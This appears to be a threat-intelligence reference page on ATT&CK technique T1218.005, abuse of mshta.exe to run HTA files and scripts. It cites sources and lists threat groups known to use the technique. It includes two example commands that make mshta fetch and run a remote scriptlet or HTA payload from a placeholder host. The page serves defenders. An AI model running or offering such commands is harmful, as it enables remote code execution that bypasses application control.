Automation · API / MCP 中文

Technique note · T1218.005

Mshta

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code. Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.

ATT&CK T1218.005 platforms — Status Active Version 20.1

Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code.12345 Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files.6 HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.7 Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.8

  1. Cylance Dust Storm
  2. Red Canary HTA Abuse Part Deux
  3. FireEye Attacks Leveraging HTA
  4. Airbus Security Kovter Analysis
  5. FireEye FIN7 April 2017
  6. Wikipedia HTML Application
  7. MSDN HTML Applications
  8. LOLBAS Mshta

Groups using this technique

GroupNameCountry
grp_g0100Inception—
grp_g1018TA2541—
grp_g1008SideCopyPakistan
grp_g0127TA551—
grp_g0129Mustang PandaChina
grp_g0032Lazarus GroupDPRK
grp_g0142Confucius—
grp_g0069MuddyWater—
grp_g0082APT38DPRK
grp_g0046FIN7—
grp_g0047Gamaredon GroupRussia
grp_g0094KimsukyDPRK
grp_g0140LazyScripter—
grp_g1006Earth LuscaChina
grp_g0016APT29Russia
grp_g0121SidewinderIndia
grp_g0050APT32Vietnam

Claims

No public claim points at this technique yet.

Auto-ingested and not human-reviewed; confidence and validity read by citation.